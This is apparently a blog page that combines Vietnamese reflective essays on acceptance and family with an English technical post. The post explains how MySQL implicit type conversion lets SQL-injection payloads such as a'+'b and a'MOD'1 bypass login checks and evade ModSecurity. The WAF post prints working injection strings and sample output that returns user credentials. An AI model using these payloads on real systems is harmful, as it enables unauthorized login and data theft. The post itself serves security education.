Chấp nhận

Con nên biết chấp nhận. Và học cách chấp nhận. Chấp nhận rằng sống là có được có mất, có gặp gỡ, có chia ly, có yêu thương, có quên lãng. Cuộc đời còn mênh mông lắm. Biển người còn rộng vô cùng.

Tâm đôi khi nên tĩnh lặng trước dòng đời quá biến động.

Ngày hôm nay sẽ là ngày hôm qua, ngày mai cũng sẽ là ngày hôm qua.

Cứ vui mà sống.

alone_man_7_by_scheissegal

Advertisements

Chuyện đời của một kỹ sư phần mềm Ấn Độ – Cuộc sống chỉ có vậy thôi sao?

Cùng suy nghĩ.

VinaCode

Bài viết được dịch từ Sulekha.com

Thực hiện giấc mơ của hầu hết các bậc phụ huynh tại Ấn Độ, tôi đã tốt nghiệp đại học với mảnh bằng kỹ sư máy tính và xin được vào làm việc tại một công ty phần mềm có trụ sở tại Mỹ, mảnh đất của những con người dũng cảm và có rất nhiều cơ hội. Khi tôi đặt chân lên đất Mỹ, đó cũng là lúc giấc mơ trở thành sự thật.

Cuối cùng thì tôi cũng đã đến được nơi mà mình muốn. Tôi quyết định là mình sẽ làm việc ở Mỹ trong vòng khoảng 5 năm, và trong thời gian đó tôi sẽ kiếm đủ tiền để quay trở về sống tại quê nhà Ấn Độ.

Nhưng một câu hỏi luôn dằn vặt tôi mỗi đêm là “Tất cả cuộc sống chỉ có vậy thôi sao?”Nhưng một câu hỏi luôn dằn vặt tôi mỗi đêm là “Tất cả cuộc sống chỉ có vậy thôi sao?

View original post 1,299 more words

Implicit type conversion in MySQL

A new approach to bypassing WAFs

In some languages, using arithmetic operators on elements that aren’t numeric, give some weird results. In JavaScript for example, [ ] + { } is an Object, while { } + [ ] appears to be NaN.

If these kind of obscure actions occur in a parser that is counted on to be very reliable, things can go bad real quickly. Let’s look at how MySQL behaves…

Trying to add two integers in MySQL will result in an integer of the sum of the given integers. Simple and straightforward, as you can see below.

mysql> SELECT 1+1;
+—–+
| 1+1 |
+—–+
| 2 |
+—–+
1 row in set (0.00 sec)
MySQL Type Conversion

Nothing special there. But what would happen if we’d try to add a string and an integer…

mysql> SELECT ‘foo’+1;
+———+
| ‘foo’+1 |
+———+
| 1 |
+———+
1 row in set, 1 warning (0.00 sec)
mysql> SHOW WARNINGS;
+———+——+—————————————–+
| Level | Code | Message |
+———+——+—————————————–+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘foo’ |
+———+——+—————————————–+
1 row in set (0.00 sec)
A bit more interesting, adding 1 to ‘foo’ returns 1. What happens here, is that ‘foo’ is converted to a DOUBLE. But since it clearly is non-numeric, it will be converted to 0 (and generate the above warning). Still nothing new here…

The reference manual of MySQL says:

When an operator is used with operands of different types, type conversion occurs to make the operands compatible.

So what happens when we try to add two strings? These are of the same type, so shouldn’t need to be converted, right?

mysql> SELECT ‘a’+’b’;
+———+
| ‘a’+’b’ |
+———+
| 0 |
+———+
1 row in set, 2 warnings (0.00 sec)
mysql> SHOW WARNINGS;
+———+——+—————————————+
| Level | Code | Message |
+———+——+—————————————+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
+———+——+—————————————+
2 rows in set (0.00 sec)
Guess not… So something else is going on here, it appears that + is an arithmetic operator. That might explain why both strings are converted to numeric values.

So we know that the sum of two strings results in a numeric value, namely 0. You can verify this by running the query SELECT ‘a’ + ‘b’ = 0, which will result in 1 (which is the same as TRUE). Now, what would happen if we compared the sum of two strings with another string. Let’s see…

mysql> SELECT ‘a’+’b’=’c’;
+————-+
| ‘a’+’b’=’c’ |
+————-+
| 1 |
+————-+
1 row in set, 3 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+———+——+—————————————+
| Level | Code | Message |
+———+——+—————————————+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘c’ |
+———+——+—————————————+
3 rows in set (0.00 sec)
It appears that the string you compare the sum of two strings with, is converted to a numeric value (again 0). This is a kind of behaviour that might come as unexpected. It is documented somewhat unclearly in the MySQL Reference Manual as the last rule of how conversion occurs.

In all other cases, the arguments are compared as floating-point (real) numbers.

Now, this article is about bypassing Web Application Firewalls, so let’s move on to that.

Bypassings WAFs

Say you have a login-system which is vulnerable to SQL-injection. Since you have no clue how to fix this, you have put a WAF in front of your application. The login-system is likely to contain a query such as SELECT * FROM users WHERE username = ‘$_POST[“username”]’ AND password = ‘$_POST[“password”]’.

A straighforward SQL-injection attack would be to enter a’ OR 1=’1 as the username and pick a random value for the password-field. This would result in the query SELECT * FROM users WHERE username = ‘a’ OR 1=’1′ AND password = ‘foobar’. This will most likely log the attacker in as the first user in the users-table. But since you are using a WAF, you should be safe from this kind of attack.

If the attacker were a bit smarter, and use the information discussed above, he might enter a’+’b as username and the same for the password-field. This results in the following query being executed: SELECT * FROM users WHERE username = ‘a’+’b’ AND password = ‘a’+’b’. As we’ve seen above, ‘a’+’b’ will be converted to a numeric value, and so will username and password.

This means that the attacker will be logged in as the first user whose username and password doesn’t start with a numeric value. If the superadmin’s username would be 666admin, the attacker could still enter ‘a’+’666 as a username (which will be converted to the same value as 666admin will be converted to, namely 666).

I have stated that WAF’s can be bypassed using this technique, but actually WAF’s should be read as “ModSecurity and probably others as well”. You can test the a’+’b attack on one of ModSecurity’s demonstration projects. Entering ‘ OR 1=’1 as username and password will return the following error:

ModSecurity Alert Message:

Inbound Alert: 981242-Detects classic SQL injection probings 1/2

Outbound Alert: 981242-Detects classic SQL injection probings 1/2

Entering a’+’b as username and password will log you in, but no alerts or warnings are given by ModSecurity.

Until now, I have only talked about the + operator, but MySQL offers quite some other operators that will have the same effect. The MySQL 5.5 Reference Manual lists following operators as arithmetic operators: DIV, /, -, %, MOD, + and *. This makes a’MOD’1 an attack vector as well, which seems very hard for a WAF to detect as a possible SQL-Injection attack.

Until now, I have only talked about arithmetic operators. MySQL offers quite some other functions as well, for example bit functions. The functions that are usable in this case are &, |, ^, << and >>.

Until now, I have only talked about operators that make the right-hand side of the assignment evaluate first. This is because their operator precedence is higher than that of = (comparison). With the operators and functions whose precedence is equal or lower than that of =, ModSecurity does seem to detect an SQL attack. (The ‘ OR 1=’1 attack vector falls under this part.)

The moral of this blog post is that you should not depend on a WAF to protect your web application. A WAF adds another layer of defense, but as you’ve seen here, it’s not all that difficult to bypass.

Examples

As an example I’ve created following table, and populated it with 2 users.

CREATE TABLE `users` (
`userid` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(45) NOT NULL,
`password` varchar(45) NOT NULL,
PRIMARY KEY (`userid`)
);

INSERT INTO `users` (`username`, `password`) VALUES (‘admin’, ‘MySuperS3cretPass!’);
INSERT INTO `users` (`username`, `password`) VALUES (‘666admin’, ‘nataSmaI’);
Here are the results of some attack vectors.

mysql> SELECT * FROM users WHERE username = ‘a’+’b’ AND password = ‘a’+’b’;
+——–+———-+——————–+
| userid | username | password |
+——–+———-+——————–+
| 1 | admin | MySuperS3cretPass! |
+——–+———-+——————–+
1 row in set, 7 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+———+——+——————————————————–+
| Level | Code | Message |
+———+——+——————————————————–+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘admin’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘MySuperS3cretPass!’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘666admin’ |
+———+——+——————————————————–+
7 rows in set (0.00 sec)
mysql> SELECT * FROM users WHERE username = ‘a’+’666’ AND password = ‘a’+’b’;
+——–+———-+———-+
| userid | username | password |
+——–+———-+———-+
| 2 | 666admin | nataSmaI |
+——–+———-+———-+
1 row in set, 6 warnings (0.00 sec)
mysql> SELECT * FROM users WHERE username = ‘a’MOD’1’ AND password = ‘a’MOD’1’;
+——–+———-+——————–+
| userid | username | password |
+——–+———-+——————–+
| 1 | admin | MySuperS3cretPass! |
+——–+———-+——————–+
1 row in set, 5 warnings (0.00 sec)
In the following example, ‘a’ and ‘b’ are converted to the INTEGER 0, because & is a bit function.

mysql> SELECT * FROM users WHERE username = ‘a’&’b’ AND password = ‘a’&’b’;
+——–+———-+——————–+
| userid | username | password |
+——–+———-+——————–+
| 1 | admin | MySuperS3cretPass! |
+——–+———-+——————–+
1 row in set, 7 warnings (0.00 sec)

Đời này còn được gặp bố mẹ bao nhiêu lần?

Đêm qua, tắt TV xong lên giường nằm đọc sách nhưng chẳng vào. Bật điện thoại nghe FM, tình cờ nghe được một câu chuyện khiến ta giật mình tự hỏi: Đời này ta sẽ còn gặp bố mẹ mình bao nhiêu lần nữa?

Có người mỗi năm chỉ về thăm bố mẹ được một lần. Nếu bố mẹ còn sống được 20 năm nữa thì họ cũng chỉ được gặp 20 lần. Nhưng với nhiều người, bố mẹ có thể còn sống trên đời này khoảng 10 năm nữa thôi, vậy là chỉ còn 10 lần gặp mặt bố mẹ. Khoảng thời gian bố mẹ còn trên đời này của mỗi người có thể ngắn hơn nữa; chắc có người trong chúng ta không dám nghĩ tiếp!

Chủ đề mà chương trình phát thanh đưa ra trò chuyện cùng thính giả xoay quanh câu chuyện của một chàng trai từ miền quê tới thành phố xa xôi lập nghiệp. Sau khi học xong, anh ở lại thành phố và bắt đầu đi làm. Rồi thời gian trôi đi; 5 năm liền anh không về quê thăm bố mẹ được một lần.

Mới đây, anh đón được bố mẹ mình đến sống cùng mình ở thành phố thì không lâu sau, người mẹ được phát hiện là bị ung thư giai đoạn cuối. Theo lời bác sĩ, thời gian cho mẹ anh chỉ còn khoảng 1 năm, và khoảng thời gian đó đang từ từ ngắn lại khi mỗi ngày trôi qua…

Giờ đây, ngoài lúc đi làm, anh dành tất cả thời gian còn lại để ở bên mẹ mình. Anh nhớ lại tất cả những gì mà bố mẹ đã dành cho anh từ thuở ấu thơ và nhận ra rằng mình thật có lỗi với bố mẹ. Lúc này, anh mới thấy được sự quý giá của những khoảnh khắc được ở bên bố mẹ mình.

Trên đất bạn (Trung Quốc) mà sao nghe câu chuyện lại thấy giống với cuộc sống đang diễn ra trên quê hương mình đến vậy! Đời này ta sẽ còn được gặp bố mẹ mình bao nhiêu lần? Chàng trai kia cũng sẽ giống như đa số chúng ta. Nếu như mẹ anh không lâm bệnh nặng, cuộc sống cứ đều đều trôi qua thì anh cũng chẳng thể nào nhận ra được những gì quý giá đang dần rời bỏ mình.

Xã hội không ngừng phát triển, cuộc sống ngày càng nhiều áp lực. Mỗi người đều mải lo cho sự nghiệp và cuộc sống bề bộn của mình: Bàn chuyện làm ăn, tìm kiếm cơ hội, quan hệ xã hội, thù tiếp khách khứa bạn bè, rồi học thêm cái này cái kia… Nhiều người ở xa quê, mỗi năm chỉ về thăm bố mẹ được một vài lần. Nhưng cũng có người sống gần bố mẹ ngay trong cùng một thành phố mà cũng chẳng có thời gian tới thăm bố mẹ được vài lần trong năm.

Chúng ta có thực sự là bận đến mức không còn thời gian để giành cho bố mẹ mình không? Có phải như thế thật không nhỉ?

Nhớ có lần bạn tôi cũng đã hỏi: “Mỗi năm anh về thăm bố mẹ được mấy lần?”. Nhưng lúc đó tôi cũng không để tâm, chỉ trả lời là “hai, ba lần gì đó” rồi chẳng nghĩ ngợi gì nữa. Mới đây thôi, ngồi trò chuyện cùng anh giám đốc công ty, anh ấy bảo “các cụ cứ thích tất cả các con ở loanh quanh đâu đấy không xa nhà mình để khi muốn là gặp được ngay mới thoả”. Tôi nghe xong cũng cười đồng ý rồi chẳng nghĩ ngợi gì nữa.

Lúc trước tôi chẳng hiểu sao cứ mỗi dịp có một trong 3 anh em về thăm nhà là y như rằng, mẹ tôi lại hỏi sao cả mấy đứa không cùng về, hay là “chúng nó bận việc không về được à?”. Tôi chỉ cười mẹ tôi sao hay “thắc mắc” vậy, rồi cũng chẳng nghĩ ngợi gì nữa…

Còn bây giờ thì tôi cũng đang nghĩ: Đời này mình còn được gặp bố mẹ bao nhiêu lần?

(Nguồn: tccl.info)